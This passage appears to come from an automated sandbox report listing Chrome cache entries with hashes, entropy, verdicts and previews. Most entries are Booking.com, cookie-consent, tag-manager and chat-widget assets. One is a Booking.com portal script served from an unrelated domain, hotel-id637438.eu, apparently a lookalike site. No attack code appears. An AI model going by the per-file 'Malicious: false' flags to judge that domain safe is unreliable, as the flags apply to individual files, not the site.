SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 32x32, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	744
Entropy (8bit):	7.675953413604426
Encrypted:	false
SSDEEP:	12:Q6WQHPfQpf9/+6e7jOwxu0oYSe26NBoR650K08Jjs7FaR1JynhjpBe8OvLkPbOgf:xRwpf9i7jOGtF+848GOehjp0BLkPbf
MD5:	E8EE70BE70363C209FBA27053329551F
SHA1:	4AE725A46F410360B7A64D410C872E447BB9A464
SHA-256:	E9270D22DDBDFF1664CA3D71ED1CA494AA3C65DC2AA0C694BB1B47C2F5A34309
SHA-512:	30FC4E839F896B8926FFD724FAC8608953F5D433DC1298B0920E97FCB77886B769C88B1A64A85EC8AD005F59F27C5F6B202826ECE6D22DD406B2F79FE4F8BFEC
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/avatar_default/public/pictures/2024-03/Screenshot%202024-03-29%20at%2013.52.54.png.webp?itok=YxsAmv9U
Preview:	RIFF....WEBPVP8 ....p....* . .>...A...U..a(.t....g......q..g....3...Xk...'......%....tU.y.......U...77.B{..".....[...../eP.:..R.#k..U?..2....B...x...........o)......4o.cz9.]m.)]...z......E..l.Z"..3...LK..?.e.f......q...<D6...9..'\|......E.HA..Rt.!.i..;.[ ...S._L....QB.....PYL....O.x....{).t..r.\....qd.../.....O............R....5...5.<;..^r.../.>...K......\....Ew.Y..\|....+..-6...(E8i..`Zc...S..D2~C&..$>tyGX.......S.Qgt^y..9.us.\|...x......Qf..J..r..W..\|.7...g....B .I......w\'.z)fT...q..g!....+.lA:.f.\,).......HT..2]'..-..KK.....M.k...{y.3.[.wj.7u."...j.1d~..~...+..u3.llL.#..........^2..........Iv..}..g.EekW7....X........Q<._..e...z.8..%...xr.o..%.hk....&.c.=.K8...K..l..o.......VV3..\|z9..I<.s0....<;r..6{.`.

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	610
Entropy (8bit):	7.596151900307889
Encrypted:	false
SSDEEP:	12:6v/7iiaBY1azPX793IrzbrJif0E5zaB2klzfngSN17Aod/ja:rCMzPZ3Ir3rpkJk1/Ja
MD5:	6018807017AFEAD14417566F975FFDB4
SHA1:	2EE7C3239E4046E9567C8100DECD9ABE6093B79F
SHA-256:	99AF6690771B7B62A1325D0C0B38A9A0300C18921E4877DCF38A239B9C977502
SHA-512:	03C81DD6C526EE84F274F4BFE903FC694BFD4ED20B359C1A7BA09D940795316B816E869B59D4DA383AC8367B952E5ED7C7244795E1EDDB6976A358240421C789
Malicious:	false
Reputation:	low
URL:	https://xx.bstatic.com/static/img/favicon.ico
Preview:	.PNG........IHDR... ... .....szz....)IDATX..?L.a...w1.......KS..Z..hM.].......c].R...1v.hL...tS[[.....H.1i].ld.!..ppx.....g.{s...}..!.@M.[...0......C ...9.P5....h......P...4o..'Ri...z.Tfn..D......2.y].F.5k...!..<.\|.[r......GdO....vE..$.&...`a...........e.N.._..l..Y..\...\|...;F........u..w... ...e.....5......h..=.58#2..>..\|^....Z._4u.....&Y.M.Z.S.Kt.as.q..2...D......N.%.n.A...g.W....@:S`1....2....e..a.C#h.d...#f..=.i.....qo..+.HN.O.k.:....O.............V&..1.l.t...SHe...\|....W.ts.c.....zj..=..3..b........?8...}....!.F._..m./.T.jv.P."..2.......C....d........A1.....IEND.B`.

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6860
Entropy (8bit):	4.828556657985717
Encrypted:	false
SSDEEP:	192:Qacdw8psVXH7KK7pSdDHjkRCwpY6vepSdDH3bJ1JZM:a/WXH7KKdwDHjkswpzowDH3bJ1JZM
MD5:	B3303EF6EC7973777164CA0271845EB2
SHA1:	E82457E23C3A9E0A20BFBAD1D1B411AB647AAA8C
SHA-256:	7BF6616322BFBE7F3C17BF4D16B950462AE7036AE5CD57EE8ACC90AD01F0412C
SHA-512:	02E6C2B52969C85B0A7428BE71CE318A23CC2BCB2D298CA87D8AC1645E364CF0BD0916D0046916775116DCEC096551AEA7916E5B9FA729D7DB119F6417F89739
Malicious:	false
Reputation:	low
Preview:	{"CookieSPAEnabled":false,"CookieSameSiteNoneEnabled":true,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"PRODUCTION","Version":"202404.1.0","OptanonDataJSON":"5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","BulkDomainCheckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"e6419570-52cc-432d-ba1e-7300290f1970","Name":"EEA + Russia + UK","Countries":["no","de","ru","be","fi","pt","bg","dk","lt","lu","hr","lv","fr","hu","se","si","mc","sk","mf","sm","gb","yt","ie","gf","ee","mq","mt","gp","is","it","gr","es","at","re","cy","ax","cz","pl","li","ro","nl"],"States":{},"LanguageSwitcherPlaceholder":{"no":"no","hi":"hi","de":"de","ru":"ru","fi":"fi","en-US":"en-US","bg":"bg","lt":"lt","lv":"lv","hr":"hr","fr":"fr","hu":"hu","default":"en","zh-Hant":"zh-Hant","uk":"uk","sk":"sk","sl":"sl","id":"id","

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20716), with no line terminators
Category:	downloaded
Size (bytes):	20716
Entropy (8bit):	5.026539980849418
Encrypted:	false
SSDEEP:	192:pcyle24pvQdkL7x0RQrqlR0x/U13hCjdWo4roVoxVO7+r5f/Mky5mRIjRNWEa3fw:qyXrhqopxE6R3fTRMWQ
MD5:	104E98C3F2411B1CEB03AF2DCCCD8ADE
SHA1:	9B686E31E31CA3208C1D71543E515E4B5EED7CF5
SHA-256:	AA4A2A016C5043607067C762013B700818948EB4A4E85BA7AC718AF311EBFC81
SHA-512:	DD05BB72772F80F4E93CF1D287B48C2F030B0A8AFEA1C29B456CDD7AE4F7D0215E305F24205C99C2F11729DCDF501A29245B7DA5582256101522B8909BD0C37F
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/57_21f66738ac9c52ae5b72.css
Preview:	:root{--bui_easing-slow-in:cubic-bezier(0,0,0.2,1);--bui_easing-slow-out:cubic-bezier(0.4,0,1,1);--bui_easing-slow-in-out:cubic-bezier(0.4,0,0.2,1);--bui_easing-subtle-in:cubic-bezier(0,0,0.2,1);--bui_easing-subtle-out:cubic-bezier(0.4,0,1,1);--bui_easing-subtle-in-out:cubic-bezier(0.4,0,0.2,1);--bui_easing-bounce-in:cubic-bezier(0.6,-0.28,0.735,0.045);--bui_easing-bounce-out:cubic-bezier(0.175,0.885,0.32,1.275);--bui_timing-instant:100ms;--bui_timing-fast:150ms;--bui_timing-deliberate:250ms;--bui_timing-slow:300ms;--bui_timing-slower:600ms;--bui_timing-slowest:1000ms;--bui_timing-paused:1600ms;--bui_color_destructive_dark:#a30000;--bui_color_destructive:#c00;--bui_color_destructive_light:#fcb4b4;--bui_color_destructive_lighter:#ffebeb;--bui_color_destructive_lightest:#fff0f0;--bui_color_callout_dark:#bc5b01;--bui_color_callout:#ff8000;--bui_color_callout_light:#ffc489;--bui_color_callout_lighter:#fff0e0;--bui_color_callout_lightest:#fff8f0;--bui_color_complement_dark:#cd8900;--bui_col

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7005), with CRLF line terminators
Category:	downloaded
Size (bytes):	1072716
Entropy (8bit):	3.5702561988725177
Encrypted:	false
SSDEEP:	12288:3G8mIot04GmYXmmomdmn+76aX5W4amAok9JO8p7+COA4BDBXjqLNdXe8191HDhmr:+E
MD5:	A464DA7C5DE8EBFB8C76D6936327DC8C
SHA1:	4E4735266466120423E9256A495D5056225FB56B
SHA-256:	1CF78DA8063315BE93C8D90C73E4C6529D1618FCD6B33719152C29C1D178E90F
SHA-512:	8D6E112EA75460A080215CFBEF87B87AB3F37A66987E1A60BEA92271F2F03E964D4263EBBD6C7F6FB43BBD058F3C6294455CC4D5B1F339D6E742B8B8E444CC70
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/index_d8899fa326030bb4a0d0.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	"use strict";..(self.webpackChunkbookings_web_accounts_portal_workspaces = self.webpackChunkbookings_web_accounts_portal_workspaces \|\| []).push([[57], {.. 70265: function(e, n, t) {.. var a;.. function i(e) {.. return i = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) {.. return typeof e.. }.. : function(e) {.. return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e.. }.. ,.. i(e).. }.. function r(e, n) {.. var t = Object.keys(e);.. if (Object.getOwnPropertySymbols) {.. var a = Object.getOwnPropertySymbols(e);.. n && (a = a.filter((function(n) {.. return Object.getOwnPropertyDescriptor(e, n).enumerable.. }.. ))),.. t.push.apply(t, a).. }..

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37432)
Category:	downloaded
Size (bytes):	700444
Entropy (8bit):	5.491259852236195
Encrypted:	false
SSDEEP:	6144:ZOAbwlJTPz+Vs9NFogzRmWqM0qkMc2muOWiWrLycK:twlJTPUsvFfRts
MD5:	9B10DB9D72C35A7DEC705EB04FBD3571
SHA1:	98DCC2D96B651EA50E5323F163193A3FB2D6B47C
SHA-256:	84DEE20AFC084FA3FE133038BFB86BE877ACC6BCF79BD059DBD2CBE187F24908
SHA-512:	0A820AE3012A704230B643E72716A43681D92DA1D0395AA2B3E4C06C95C3E9A0EEDE8B9A287E82B19379265BDB2CC0250E0B165B9EF2980F90BBCA6AE8C98E62
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-TGMJRCB
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"552",. . "macros":[{"function":"__v","vtp_name":"gtm.element","vtp_dataLayerVersion":1},{"function":"__e"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"userId"},{"function":"__jsm","vtp_javascript":["template","(function(){if(0!==",["escape",["macro",2],8,16],")return ",["escape",["macro",2],8,16],"})();"]},{"function":"__d","vtp_elementId":"gtm-page-title","vtp_selectorType":"ID"},{"function":"__u","vtp_component":"QUERY","vtp_queryKey":"utm_campaign","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__remm","vtp_setDefaultValue":true,"vtp_input":["macro",5],"vtp_fullMatch":true,"vtp_replaceAfterMatch":true,"vtp_ignoreCase":true,"vtp_defaultValue":"0","vtp_map":["list",["map","key","^[0-9][0-9][0-9]*$"

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (515)
Category:	downloaded
Size (bytes):	4983
Entropy (8bit):	5.277268511741918
Encrypted:	false
SSDEEP:	96:1GInbH6vTKvmYDDaLVxL8P9QlhaPr6gVHDf/HKIgG+vylylqn1Dg1juPjai:kIn7+TKVDUiPEhadHDf/Bw6clqn1Dg1y
MD5:	0B203B6737E7348814173F31EFCE0736
SHA1:	B60CA6B9E3D2DD734E85159A9E6C87564AA3C18F
SHA-256:	5446B2D0120DC4737C7593F47B9474B724BBE985B5E5231EB75E5BBBF7762880
SHA-512:	2593E6CCD6267BAC6D7BF3E6A4EBA784C64559FA591E88D46D8F1B2C9B5F74DEE63C9600F89E57493F81369C69DD5904A4903DD3D7E8FA962CF9872584F36219
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js
Preview:	!function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.replace(k.substring(l),""):k);if(f&&(-1!==f.indexOf(C)\|\|-1!==d.Tag.indexOf(f))){g=d;break}}return g}(a);return e.CategoryId&&(c=e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");.return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);v.some(function(d){return d===h})&&(g=["C0004"]);return g}(a)),{categoryIds:c,vsCatIds:b}}function w(a){return!a\|\|!a.length\|\|(a&&window.OptanonActiveGroups?a.every(function(c){return-1!==window.OptanonActiveGroups.indexOf(","+c+",")}):void 0)}function m(a,c){void 0===c&&(c=null);var b=window,e=b.OneTrust&&b.OneTrust.IsVendorServiceEnabled;b=e&&b.OneTrust.IsVendorServiceEnabled()

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21608), with no line terminators
Category:	dropped
Size (bytes):	21608
Entropy (8bit):	4.768124050153233
Encrypted:	false
SSDEEP:	384:+I8C4hGoFXlCS7FGAVsq1nwGfg4xqsQMPNE:OaJ
MD5:	A169014CB8030D7BEB52C77DDF2FD9C6
SHA1:	FBE4667B4F8F01CD6C4DD2F9C9CACFB389CB54E1
SHA-256:	D0C233D327541D2961F1CDE9E53A6166279655F4D4041C1BC458AC1701827719
SHA-512:	F46123E7223B5AC490BADB950AA79D4A7BDC09D5C2A4533C3D82F3555A6308C54F1719F1959E75003A94CB2877ED65F35110529F33981C4C4C03256F345AE3C8
Malicious:	false
Reputation:	low
Preview:	#onetrust-banner-sdk{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}#onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:bold;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outline:2px solid #000;outline-offset:-2px}#onetrust-banner-sdk a:focus{outline:2px solid #000}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .ot-close-icon,#ot-sync-ntfy .ot-close-icon{background-size:contain;background-repeat:no-repeat;background-position:center;height:12px;width:12px}#onetrust-banner-sdk .powered-by-logo,#onetrust-banner-sdk .ot-pc-footer-logo a,#onetrust-pc-sdk .powered-by-logo,#onetrust-pc-sdk .ot-pc-foo

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22385
Entropy (8bit):	5.042007236244927
Encrypted:	false
SSDEEP:	384:ova/efAkTyS2KODJopO5iprJ1lNjlOCmtAdvNJ:ovPfAkTfOadlJ1lNjlO7tAdvD
MD5:	C810E9B7CB48D30FDDD3F3B81476941F
SHA1:	7CB3B733AC2ACB1347F4A27E0C4CF5A3BDD9BF83
SHA-256:	F3603464E821014EB8C95D21A982CB1DA0D902F2D0F023AEF34A77A1B9CE25BA
SHA-512:	F7EB35C2273DFBCAC12EBA49594A3147420CCBD85884D2A469AD73276660DEC40B9ED84A2ADCDD71A06DD03F0E3BC6EF484BCD34A23CCD28CC991F9BF9CB4A89
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/settings/dd38dbbf-6f63-4533-9201-1df5d18b2412.json?version=2.60.6&kindly-chat-browser-id=a9fc5706-093b-4d02-9f85-e99d133ad617
Preview:	{"style": {"color_chatbubble_text": "#fff", "color_chat_log_elements": "#333333", "color_button_background": "#006CE4", "color_button_outline": "#0069ff", "color_bubble_button_background": "#003B95", "color_button_text": "#FFF", "color_background": "#ffffff", "color_header_background": "#003B95", "color_header_text": "#ffffff", "color_input_background": "#edeeef", "color_input_text": "#333333", "color_user_message_background": "#003B95", "color_user_message_text_color": "#ffffff", "color_bot_message_background": "#f5f5f5", "color_global_icons_button_background": "#ffffff", "color_bot_message_text_color": "#2c2c2c", "color_panel_background": "#ffffff", "color_secondary_button_background": "#ffffff", "chatbubble_icon_avatar_image": null}, "notifications": {"tab_notification": true, "sound_notification": true, "bubble_notification": true, "use_push_greetings": true, "push_greetings": [{"enabled": {"en": true}, "title": {"en": "Help pages (EN-US)"}, "url": "https://partner.booking.com/en-u

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	3.769620387442342
Encrypted:	false
SSDEEP:	3:YBE5IAEL/LlEzLQV8BBV1n:Yg9iDezLH3L
MD5:	7D1DBBD1D76EB7C445482824B38461DB
SHA1:	E1E762334193103DBB8F769B502DE5A6B2DB6361
SHA-256:	BDACA36312500A5E930637A84A6B58159AFC776DDAFF09BAFC479FCE63BF13A8
SHA-512:	EAA4BE695F5E90E1FBC68C7C85C979D95EB4CE92772BFBCDF56AB7926C7F1E0BB5B1FCF2353AD2C4809CC6811374666F89B0728D3B606F6FFE0F07C5FEFC7E12
Malicious:	false
Reputation:	low
URL:	https://sage.kindly.ai/api/v1/stats/bot/5062/public/current_wait_time?sources%5B%5D=web
Preview:	{"data":{"mean":null,"median":null,"n":0,"stddev":null}}

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65439)
Category:	downloaded
Size (bytes):	287861
Entropy (8bit):	5.461657424776212
Encrypted:	false
SSDEEP:	6144:g2ZSzOqRTpnhoQtTs6ksdLAxD8pR//YW6MJ6ZoGpBO9/yjUsY7He:g2ZSzOqRTpzTs6ksBAxD8p1gWjFDe
MD5:	69ADC9304204B5B8C4568D19D5E134F7
SHA1:	68F2BE4E80D34F61DE6CC6DFA6258ACEFF147D34
SHA-256:	E47397BD08518564E9DDA880872C76D6BA73E8A3711440D467761B67C7EED6BB
SHA-512:	EAC514C75C39A207310C33F7314CAC4EB76440A50F79887C1896E1AFAE2A0BA588F7C5536AC08FCDE7165A353D396647CCD0E50536A97E59D01AD5096104134C
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/KindlyChat-2f88cfbafafa555baa4d.js
Preview:	/! For license information please see KindlyChat-2f88cfbafafa555baa4d.js.LICENSE.txt /.(self.kindlyJSONp=self.kindlyJSONp\|\|[]).push([["KindlyChat"],{4722:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:()=>tr});var r={};n.r(r),n.d(r,{agent:()=>xt,alerts:()=>It,announcement:()=>Lt,auth:()=>Nt,bot:()=>mt,chatbubble:()=>vt,connection:()=>jt,environment:()=>wt,feedback:()=>Bt,inChatNotification:()=>Wt,inspector:()=>Ut,lightBox:()=>un,local:()=>qt,messages:()=>nn,nudge:()=>hn,privacy:()=>on,pushMessages:()=>cn});var o=n(6984),i=n.n(o),s=n(257),a=n(8628),c=n.n(a);const l=function(e,t){return!!c()("").call("",t)\|\|!!e&&t.some((t=>function(e){const t=e.replace(/\./g,"\\.").replace(/\*/g,".");return new RegExp(t,"i")}(t).test(e)))};var u=n(4328),d=n(9445),h=n(3354),p=n(6906),f=n(6058),g=n.n(f),m=n(4570),b=n(5639);const v=d.Ay.button.withConfig({displayName:"styles__CloseIconButton",componentId:"sc-96uqai-0"})(["position:absolute;z-index:",";top:24px;right:24px;background:none;border:none;cursor

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0530507460466545
Encrypted:	false
SSDEEP:	3:CUHa/t121l/JtH5:gkBD
MD5:	57F187C7A868FAEAC558007A8EB6CB2E
SHA1:	11AB10AB109FDB53D91D444AC781101F5A6360C6
SHA-256:	AA03DC59BDCA72631D2301E4297CFA030BD31B907DC138E7B973D12311C90A22
SHA-512:	3844065E1DD778A05E8CC39901FBF3191DED380D594359DF137901EC56CA52E03D57EB60ACC2421A0EE74F0733BBB5D781B7744685C26FB013A236F49B02FED3
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,..............;

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4265
Entropy (8bit):	4.646189442080531
Encrypted:	false
SSDEEP:	48:tnjnOCJEz2y7Rc/YjYjB8LbCHyQIFQgBi4in3Cnw6si1/2RvKvW+n:wtz2y7t6yri4iAw21+BKvW+n
MD5:	A895DC1DDDCC9E033AA41147E7A69CD2
SHA1:	BEC20895855BD0D95F649421C40D61266F17D6CE
SHA-256:	B86055D0C9D4794595D92C448EFD9626195990750790113090735B6F506F59B4
SHA-512:	2C7DF7CAD57AFFE045FCD85A7E3D2296291201DC05CEBA400F295B29D597BC13C28DE92C644D1455EFDFCC50A60AC3338335F8343F74F172DD558CB474515A8A
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/manifest.json
Preview:	{. "1187597.1473569.json": "71cd12cdf77ebcb750cff91a9bba6f04/1187597.1473569.json?afd3b67375e34272ae8f5c89ce6cd2aa",. "1187597.1475776.json": "71cd12cdf77ebcb750cff91a9bba6f04/1187597.1475776.json?afd3b67375e34272ae8f5c89ce6cd2aa",. "1230186.1523989.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230186.1523989.json?9e7b99336d6abe32f51bd1218cc63db8",. "1230186.1524037.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230186.1524037.json?9e7b99336d6abe32f51bd1218cc63db8",. "1230587.1524483.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524483.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1524489.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524489.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1524492.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524492.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1524495.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.1524495.json?fbf7535e353f7a713370f0627209d05c",. "1230587.1547532.json": "71cd12cdf77ebcb750cff91a9bba6f04/1230587.15

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1162 x 500, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	20667
Entropy (8bit):	7.949440126561056
Encrypted:	false
SSDEEP:	384:D+sdhF/TeFL89wWsd3LvuVP5bSTDT5moJ9RIGc5:bdhF/TiVWsJL2N5bSTxmoJVc5
MD5:	802645034B7481D72B2B1730D2094140
SHA1:	EDF8713C24684C67CB202B2AFD09BE705483F848
SHA-256:	CE2AE43110A777A47DE39091BF990E8B786D99413CCC40D43CD31C172D040E94
SHA-512:	538EFB61A001513362E86DEAD54B265EC521E9F00A8821F6D34553C00D30AB0143A3F7E54437B85732CD3E0F378337D9187C8A28E67B22BBF3D9524A52EF3940
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/themes/custom/booking/images/optimized/HeroCommunityLeft.png
Preview:	.PNG........IHDR.............e.6.....PLTEGpL...TD<...LA:...........s..;^zRa_=N`MQGknc.s_..q..........s[.8?................vF+#"fL@.a1t6.C$.&..]6..S$..............{..v..cy.Sf{5BL25;WV[.pf........-K................t..`.Q=aM>.lO.D.V%.6......ZB.fP..s..x.{rOP/........s_P.u..................v}..a.\|A.b>O=7>6+.......q...$..S.vY...qtz......!!.uT.......y.q........................j[..........._M.....\|k"(p?).O2mgi,'...e.........N.-..sO/;&.......l...B........6........s.....................s_.mY............`>...F/ ..\|.o34>/]_`B@A.+-.z.p....n....F8.......aQ.Y.u.#?...HCB.^\|.{..........D}..!.36........6{...gu....[{........a.......2U@2...uX.`D.....Y;......................jbZS....#7...\|}<..kP.O6%.............j..0b............J..X..Mc"0d.k....T..gu'7N..x*..%$.......tRNS.....<.....................z:.........j[.................Q....................V....#X........@.\|....%...........p......1..U.^......................................

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53179)
Category:	downloaded
Size (bytes):	70160
Entropy (8bit):	5.192879414625946
Encrypted:	false
SSDEEP:	768:WkqQW+Z4IRuCJ312FGeQuPKFnLfZ4ZwZD/58c04qeJhII4sRA/rhJhdxHcoZlC78:nF97uPKFI/rhJ+vQgF0E8SDx+6U
MD5:	B9AB6549A53695035D574732B0317BAE
SHA1:	18747391E18930E54FBCA82C8A697C2A50CA56F7
SHA-256:	BD7C96EFD74666CDEFC6D65B32908DBF072F7EAC9DE6262E073B63F9514353EE
SHA-512:	948BBD13D56F668A92265840FC2C768D46061424095BE556EB42213A79C6144CA533939E6AF894089946C463644EECB1BCB925C5ED667962D94CF2E84BBD414A
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/js/js_PwoAq5SsECP3lMXokg_Oi-9xWKOviLrdS56uiu4moUw.js?scope=footer&delta=4&language=en-us&theme=booking&include=eJxdUQFuwyAM_BCEJ1UOuMGrgxE26bLXj7Rrs01CFj5zNneGlEyg7AF-LtO1STGXwIBhxxZmzLCRNHUMX3s4gtNdDdcwg6KbRW5UljB38lH1f-6twYbM2DzTks1bxvVkLSwz8B_Sx9kjisQbYW3irxK7-gwljVbne4g3bzJOdfhpTOUWUusVePpJnRoYqVHUV-VEhqRdul0SaZQN2x6kYBR2FRosDWp-k05k6qX2mUkzJrcR3jU84rRK6oxP6ELlSoUMLxqbMD-f-Bfqn6hrYBh62WRAGbkOaQ_oPmzq66y9vqVCjNISSfEG8-i0Dle2YWWxv54f_X2UtQ4pv2ua5e6BT68jtCZdkb3hWGTzb4luTMKX8NSkzt1MirsyLOEI0-HsBT7g81ykrf4o-cg0dvJ_Uf0YoLQUGv8XYaPqhvX34Q9Cizk8Ev9M3qyMkA7eA_0GR0kJJQ
Preview:	/* @license GNU-GPL-2.0-or-later https://www.drupal.org/licensing/faq /..(function($,Drupal,once){Drupal.behaviors.showAll={attach:function attach(context){var showAllGroup=$('.show-all__group',context);var showAllItemHidden=showAllGroup.find('[class="show-all__group-item--hidden"]');var showAllButton=showAllGroup.find('.show-all__button');if(showAllItemHidden.length&&showAllButton.length){$(once('showAll',showAllButton)).on('click',function(){$(this).parent(showAllGroup).siblings(showAllItemHidden).fadeIn(200).removeClass('.show-all__group-item--hidden');$(this).addClass('hidden');});}}};})(jQuery,Drupal,once);;./* @license MIT https://github.com/kenwheeler/slick/blob/master/LICENSE */.(function(factory){"use strict";if(typeof define==="function"&&define.amd){define(["jquery"],factory)}else if(typeof exports!=="undefined"){module.exports=factory(require("jquery"))}else{factory(jQuery)}})(function($){"use strict";var Slick=window.Slick\|\|{};Slick=function(){var instanceUid=0;function

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6548), with no line terminators
Category:	downloaded
Size (bytes):	6548
Entropy (8bit):	5.3923346455494094
Encrypted:	false
SSDEEP:	192:2SjYDaw8KLwLc4MrP0SLn4N8yp9rHoEak:2mfL5i0IM8yTboEak
MD5:	24B743CF3D6F5525B2A9E9FC60FD9125
SHA1:	F2BA118E9C9D6AD92FE54C979E57DFCE786A60DA
SHA-256:	6C0BED66E7FC53D62C5D11D8F8BE22C20991DB858510E99B13058B2E264A1A0C
SHA-512:	7D035CC59CC059971078065A8F4F9AF49E5F4C9EE9B07526C6A8CBB1467F4B31B720832E01284CF56D98788AF1D424E709D859860AD436199A62B84C1F6B265B
Malicious:	false
Reputation:	low
URL:	https://try.abtasty.com/71cd12cdf77ebcb750cff91a9bba6f04/initiator.js
